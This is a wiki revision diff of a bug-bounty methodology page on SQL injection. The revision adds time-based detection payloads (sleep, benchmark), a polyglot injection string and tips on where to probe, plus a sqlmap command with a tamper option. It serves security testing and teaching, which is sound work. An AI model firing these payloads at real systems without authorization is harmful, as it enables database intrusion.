Differences

This shows you the differences between two versions of the page.

--- tbhm:06_sqli [2026/05/14 09:28] – converted from markdown to dokuwiki syntax drew
+++ tbhm:06_sqli [2026/05/14 09:59] (current) – integrate zseano methodology drew
@@ Line 51: / Line 51: @@
   * [[https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet|SQLite3 Injection Cheat sheet]]
   * [[http://rails-sqli.org/|Ruby on Rails (Active Record) SQL Injection Guide]]
+===== Zseano/Drew SQLi Additions =====
+**Time-based detection payloads:**
+<code>
+' or sleep(15) and 1=1#
+' or sleep(15)#
+' union select sleep(15),null#
+'%2Bbenchmark(3200,SHA1(1))%2B'
+</code>
+**Polyglot (jhaddix):**
+<code>
+"SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
+</code>
+  * Legacy features and old code = most vulnerable targets
+  * Test both GET and POST -- one method may be unprotected
+  * Web services/APIs especially vulnerable
+  * ''sqlmap -l burp.log --tamper=space2comment'' to parse Burp logs
+  * [[zseano:sqli|Full Zseano SQLi Guide]]